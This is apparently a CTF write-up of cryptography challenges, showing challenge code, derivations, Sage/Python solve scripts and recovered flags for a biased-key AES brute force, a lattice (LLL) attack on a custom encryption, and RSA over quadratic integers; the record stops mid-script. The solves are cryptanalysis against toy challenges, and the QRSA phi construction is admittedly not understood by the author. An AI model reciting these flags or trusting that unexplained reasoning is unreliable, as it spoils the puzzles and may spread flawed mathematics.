<span class="n">valid_output</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
    <span class="n">count</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">dist</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">*</span><span class="mi">1000</span><span class="p">)</span>
    <span class="n">valid_output</span> <span class="o">+=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">count</span><span class="p">)]</span>
<span class="k">print</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">dist</span><span class="p">))</span>

<span class="c1">#[3, 80, 64, 240], taken from brute.sage
</span><span class="n">res</span> <span class="o">=</span> <span class="s">"""
Here's your lucky flag: 5558e88faadbe697d50f09ccd98c1043af0bf8a9e20f5de60dcd5dff0b79ebe9c94ff43c90f24ae2bf5ea060ed3d0ad96b3309e2e06e1a20
Here's your lucky flag: 83080a6358c87c3182893bc174ecc7f53a6cf2c92a4704f5f2392c9868d555588cd7776d29b9493a6b2a2f3a122d43e312f2de2196219200
Here's your lucky flag: e13d21b2c4f224d8dfc17064e6d4fb0db339aea3ab6b65569c50d130808436dd37440c7061d8bb11cea2ab6f0c1c11701be335d42ac394e9
Here's your lucky flag: e6828db5d74e2947812ed1c3a39b39db47c887c728ff50fb384662301a129e6437ca89b37e8df45765a1c6c112beda3bf517108d2996a4f8
Here's your lucky flag: 609f1f2134e9f6f5b294c40cb37eb806ed441fc2d47f209fcc41cf462bfd46d1facf29ccbfcd66d98d959bb812b304f8d90f5fd9d16671be
Here's your lucky flag: 960bb72692a12a7b52cd9c4e70c99a70204112608e6dd53011be2e6d413a4af991fe30f2829a8a2fae7c2ece1bfd6539db0574bb3d396765
Here's your lucky flag: 587f8b03596c4ca80ab30fdb8efc6d8c6cff385870f10c398ef0b9c177f0b8b487d6a03bc097bd67aabd6b409240378e7abc8cb875fd7b36
Here's your lucky flag: 02c7e9edfc0721693c2f60ab2f313506ec3d196a9d0617b77371c7f3d34a2d53fd26096b0f58c82d33f40d16eb95daf3628fe9fb70fd21a7
Here's your lucky flag: a223335d57dfe47cffdc8b22dbb99919a49b7fdae6f213f21f6f6454c068dbfb6babb82854e054a27ccee256a40ebf487cb2af474af7411f
Here's your lucky flag: 1edc130b23a9f0d9d042cebc16ec4055e7d25e169e5c0171b5098ec79c4a43c15b91ca6b3fc47e40e6f2cc9d271d3f21a03a9628e50ce34f
"""</span>

<span class="n">enc_flags</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">": "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">res</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)][</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">enc_flags</span> <span class="o">=</span> <span class="p">[</span><span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">enc_flags</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="n">enc_flags</span><span class="p">)</span>

<span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">secrets</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">valid_output</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">)])</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mi">16</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xc7\xcc\xd1</span><span class="s">D</span><span class="se">\xfb</span><span class="s">I</span><span class="se">\x10</span><span class="s">'</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">msg</span> <span class="ow">in</span> <span class="n">enc_flags</span><span class="p">:</span>
        <span class="n">dec</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
        <span class="k">if</span> <span class="sa">b</span><span class="s">"grey"</span> <span class="ow">in</span> <span class="n">dec</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">dec</span><span class="p">)</span>

    <span class="n">counter</span><span class="o">+=</span><span class="mi">1</span>
    <span class="k">if</span> <span class="n">counter</span><span class="o">%</span><span class="mi">10000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="n">counter</span><span class="p">)</span>

<span class="c1">#b'\x03\xf0\xf0PP\x03'
#b'UX\xe8\x8f\xaa\xdb\xe6\x97\xd5\x0f\t\xcc\xd9\x8c\x10C\xaf\x0b\xf8\xa9\xe2\x0f]\xe6\r\xcd]\xff\x0by\xeb\xe9\xc9O\xf4&lt;\x90\xf2J\xe2\xbf^\xa0`\xed=\n\xd9k3\t\xe2\xe0n\x1a '
#b'grey{G3T_Rand0m_Byte-is_Still_Bi@s_Oof_7nwh8eQfV5e8eZwC}'
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="encrypted">Encrypted</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>Let's just do something simple

- mechfrog88

solves: 22/454
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="encrypted_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-encrypted_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#encrypted_chal_py-content" aria-expanded="true" aria-controls="encrypted_chal_py-content">
         <p>Show main.py</p>
 
      </button>
    </p>
    <div id="encrypted_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-encrypted_chal_py" data-bs-parent="#encrypted_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">secrets</span> <span class="kn">import</span> <span class="n">randbits</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'fake_flag'</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">randbits</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">randbits</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">p</span> <span class="o">*</span> <span class="n">m</span> <span class="o">+</span> <span class="n">q</span> <span class="o">*</span> <span class="n">m</span><span class="o">**</span><span class="mi">2</span> <span class="o">+</span> <span class="p">(</span><span class="n">m</span> <span class="o">+</span> <span class="n">p</span> <span class="o">+</span> <span class="n">q</span><span class="p">)</span> <span class="o">*</span> <span class="n">key</span>

<span class="n">n</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">randbits</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'n = </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'p = </span><span class="si">{</span><span class="n">p</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'q = </span><span class="si">{</span><span class="n">q</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'c1 = </span><span class="si">{</span><span class="n">encrypt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="si">:</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">],</span> <span class="n">s</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'c2 = </span><span class="si">{</span><span class="n">encrypt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="si">:</span><span class="p">],</span> <span class="n">s</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>For this challenge, the encryption is as follow with $p$, $q$, $c_1$, $c_2$ given.</p>

\[\begin{align}
c_1 &amp;= p \times m_1 + q \times m_1^{2} + (m_1+p+q) \times k  \\ 
c_2 &amp;= p \times m_2 + q \times m_2^{2} + (m_2+p+q) \times k  \\ 
\end{align}\]

<p>I start by manipulating the equations around too see how can I simplify it. I know that we’re trying to find a small root of the equation (m is significantly smaller than all other parameter) but I’m not sure what I can do. When I try to take mod q on the equation, I found the following relationship. (I’ll focus on one copy</p>

\[\begin{align}
c \equiv  p \times m + (m+p) \times k  &amp;\mod{q}\\ 
c - p \times m \equiv  (m+p) \times k  &amp;\mod{q}\\ 
(c - p \times m) \times (m+p)^{-1} \equiv  k &amp;\mod{q}\\ 
\end{align}\]

<p>By combining the two equations together.</p>

\[\begin{align}
(c_1 - p \times m_1) \times (m_1+p)^{-1} &amp;\equiv  k \equiv (c_2 - p \times m_2) \times (m_2+p)^{-1}   &amp;\mod{q}\\ 
(c_1 - p \times m_1) \times (m_1+p)^{-1} &amp;\equiv (c_2 - p \times m_2) \times (m_2+p)^{-1}   &amp;\mod{q}\\ 
(c_1 - p \times m_1) \times (m_2+p) &amp;\equiv (c_2 - p \times m_2) \times (m_1+p)  &amp;\mod{q}\\ 
\end{align}\]

\[\begin{align} 
(c_1 - p \times m_1) \times (m_2+p) - (c_2 - p \times m_2) \times (m_1+p)  &amp;\equiv 0 \mod{q}\\ 
p\times (c_1-c_2) + (c_1 m_2 - c_2 m_1) - p^{2} m_1 + p^{2} m_2 &amp;\equiv 0 \mod{q}\\  
m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) &amp;\equiv 0 \mod{q}\\ 
\end{align}\]

<p>After all the manipulation, we can get
\(m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq =  0\)
, where $K \in \mathbb{Z}$</p>

<p>We can using this relationship to form the following lattice.
\(\begin{align} 
m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq &amp;=  0\\ 
m_1 &amp;= m_1 \\ 
m_2 &amp;= m_2 \\ 
1 &amp;= 1\\ 
\end{align}\)</p>

\[\begin{align} m_1  \begin{bmatrix}  c_2+p^{2} \\  1 \\ 0 \\ 0 \end{bmatrix}
				 -m_2 \begin{bmatrix} c_1+p^{2} \\  0 \\  -1 \\  0 \\  \end{bmatrix}
				 -\begin{bmatrix} p(c_1 - c_2) \\ 0 \\ 0 \\ -1 \end{bmatrix}
				 - K \begin{bmatrix} q \\ 0 \\ 0 \\ 0 \end{bmatrix}
				 =\begin{bmatrix} 0 \\ m_1 \\ m_2 \\ 1 \end {bmatrix}
				 \end{align}\]

<p>To make the resulting vector balanced, we apply a weight matrixs so that LLL can better find the target vector we want. See the solve script for more detail.</p>

<div class="accordion mb-2" id="encrypted_solve_sage">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-encrypted_solve_sage">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#encrypted_solve_sage-content" aria-expanded="true" aria-controls="encrypted_solve_sage-content">
         <p>Show solve.sage</p>
 
      </button>
    </p>
    <div id="encrypted_solve_sage-content" class="accordion-collapse collapse" aria-labelledby="hd-encrypted_solve_sage" data-bs-parent="#encrypted_solve_sage">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="c1">#from pwn import *
</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">60</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">154086578594169457435595675666643895734811841080572558765373507236578028216591747533849923751469191596377661004029046877904042460778919103625210259448925051403568654035172094553059686620938995150323671690612067502149750334217640430881837803398594614204799922967620005040202036583050736150941842152536365544084</span>
<span class="n">q</span> <span class="o">=</span> <span class="mi">125017463628708786112045898783989519686518641018787292892390877841668306746146702301981172263729102252453507006240973911324033106244068376643435622158128309826549542204034257871545558185841458407254799884829820319949756220781717646450760642511971882897039183232753628829418868493229485015468373205449789812260</span>
<span class="n">c1</span> <span class="o">=</span> <span class="mi">31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941827187912034287402128550018798165331343869198539137692903451118993538977788768945912026980846832254010558073806464461172522295653614635829516912620303901074895536704497550933805653512993413784431814034970399353908315083734783641688845887335175756415452320057666293794222522192970247045775053062573130002154959221285571979645935259561842756575513382500001710093979669436220490166791279222321068474420336287079321260681992725702004322840264333436628467610</span>
<span class="n">c2</span> <span class="o">=</span> <span class="mi">31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941817672660832127847041917018566902241465270388458210289299587958256824375312920716794521835108724034002277333245660951027397544591256117371462945925063227877052543505162260331377627961855698406102909764518955398788366432268123471930922870790059289526241832032413046933338032005163677585629816264668273416126506175004091486421225900247767247311587061422436593600806854703842740334379936590431991884721985057366825456467986462930236986239275935656810387114</span>

<span class="c1"># LLL (4*4 with weights)
</span><span class="n">weights</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="o">/</span><span class="mi">2</span><span class="o">^</span><span class="mi">240</span><span class="p">,</span> <span class="mi">1</span><span class="o">/</span><span class="mi">2</span><span class="o">^</span><span class="mi">240</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">Q</span> <span class="o">=</span> <span class="n">diagonal_matrix</span><span class="p">(</span><span class="n">weights</span><span class="p">)</span>
<span class="n">L</span> <span class="o">=</span> <span class="n">Matrix</span><span class="p">([</span>
    <span class="p">[</span><span class="n">c2</span><span class="o">+</span><span class="n">p</span><span class="o">^</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
    <span class="p">[</span><span class="n">c1</span><span class="o">+</span><span class="n">p</span><span class="o">^</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
    <span class="p">[</span><span class="n">p</span><span class="o">*</span><span class="p">(</span><span class="n">c1</span><span class="o">-</span><span class="n">c2</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">],</span>
    <span class="p">[</span><span class="n">q</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]])</span>
<span class="n">L</span> <span class="o">=</span> <span class="n">L</span><span class="o">*</span><span class="n">Q</span>
<span class="n">Sol</span> <span class="o">=</span> <span class="n">L</span><span class="p">.</span><span class="n">LLL</span><span class="p">()</span><span class="o">/</span><span class="n">Q</span>
<span class="k">print</span><span class="p">(</span><span class="n">Sol</span><span class="p">)</span>

<span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="n">Sol</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">col</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">col</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">col</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span><span class="o">+</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">col</span><span class="p">[</span><span class="mi">2</span><span class="p">])))</span>

<span class="c1">#grey{shortest_crypto_challenge_in_this_ctf_srfrGRUEShP8FKwn}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="qrsa">QRSA</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>Questionable RSA

 - mechfrog88

solves: 17/454
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="qrsa_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-qrsa_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#qrsa_chal_py-content" aria-expanded="true" aria-controls="qrsa_chal_py-content">
         <p>Show main.py</p>
 
      </button>
    </p>
    <div id="qrsa_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-qrsa_chal_py" data-bs-parent="#qrsa_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">qa</span><span class="p">,</span> <span class="n">qb</span><span class="p">,</span> <span class="n">pa</span><span class="p">,</span> <span class="n">pb</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'fake_flag'</span>

<span class="k">class</span> <span class="nc">Q</span><span class="p">:</span>
    <span class="n">d</span> <span class="o">=</span> <span class="mi">41</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>

    <span class="k">def</span> <span class="nf">__add__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__sub__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">-</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">-</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__mul__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="n">a</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="n">Q</span><span class="p">.</span><span class="n">d</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span>
        <span class="n">b</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__mod__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="c1"># Implementation Hidden
</span>        <span class="c1"># ...
</span>        <span class="k">return</span> <span class="bp">self</span>

    <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">'(</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span><span class="si">}</span><span class="s">, </span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="si">}</span><span class="s">)'</span>

<span class="k">def</span> <span class="nf">power</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">b</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">):</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">b</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">):</span> <span class="n">res</span> <span class="o">=</span> <span class="p">(</span><span class="n">res</span> <span class="o">*</span> <span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
        <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
        <span class="n">b</span> <span class="o">//=</span> <span class="mi">2</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="n">p</span><span class="p">,</span> <span class="n">q</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="n">pa</span><span class="p">,</span> <span class="n">pb</span><span class="p">),</span> <span class="n">Q</span><span class="p">(</span><span class="n">qa</span><span class="p">,</span> <span class="n">qb</span><span class="p">)</span>
<span class="n">N</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">]),</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">:]))</span>
<span class="n">e</span> <span class="o">=</span> <span class="mh">0x10001</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">power</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">N</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"N_a = </span><span class="si">{</span><span class="n">N</span><span class="p">.</span><span class="n">a</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"N_b = </span><span class="si">{</span><span class="n">N</span><span class="p">.</span><span class="n">b</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"C_a = </span><span class="si">{</span><span class="n">c</span><span class="p">.</span><span class="n">a</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"C_b = </span><span class="si">{</span><span class="n">c</span><span class="p">.</span><span class="n">b</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"e = </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"D = </span><span class="si">{</span><span class="n">Q</span><span class="p">.</span><span class="n">d</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>This is a rsa challenge implemented with quadratic integer. With a quick google search, we can find <a href="https://www.diva-portal.org/smash/get/diva2:1170568/FULLTEXT01.pdf">this paper (RSA in extensions of the ring of integers)</a>. In section 7.1, it mentioned that if the $norm(N)$ can be factorized, it’s possible to retrive $\phi(N)$ since $\phi(N)$ is calculated thorugh the norm of p and q, while norm is preserved through multiplication.</p>

<p>In my solution, I first tried constructing phi by using the normal phi algorithm ($\prod (p^k-p^{k-1})$), where p is the prime factors and k is the number of those factors. However, the output phi doesn’t work (as in doesn’t recover the flag). When randomly poking around during the competition, I found out that $\prod (p^{k+1}-p^{k-1})$ somehows recovers that flag. (norm is obmitted here, p is representing the irriducible factors)</p>

<p>I still don’t fully understand why this work. According to the author, the $\phi(N)$’s component will different based on how each prime factors are like. In case where the factor $p \in \mathbb{Z}$, $norm(p)$ will be $(p^2-1)\times(p^{2(k-1)})$ instead of the typical $p^{k}-p^{k-1}$. Therefore, in the solve script, the author took the lcm of the two cases to construct the phi. In my case, I assume that because my factor still covers a wide enough cases, so the phi works out the decrypt the flag.</p>

<div class="accordion mb-2" id="qrsa_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-qrsa_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#qrsa_solve_py-content" aria-expanded="true" aria-controls="qrsa_solve_py-content">
         <p>Show solve.sage</p>
 
      </button>
    </p>
    <div id="qrsa_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-qrsa_solve_py" data-bs-parent="#qrsa_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">factordb.factordb</span> <span class="kn">import</span> <span class="n">FactorDB</span>
<span class="kn">import</span> <span class="nn">random</span>

<span class="k">class</span> <span class="nc">Q</span><span class="p">:</span>
    <span class="n">d</span> <span class="o">=</span> <span class="mi">41</span>
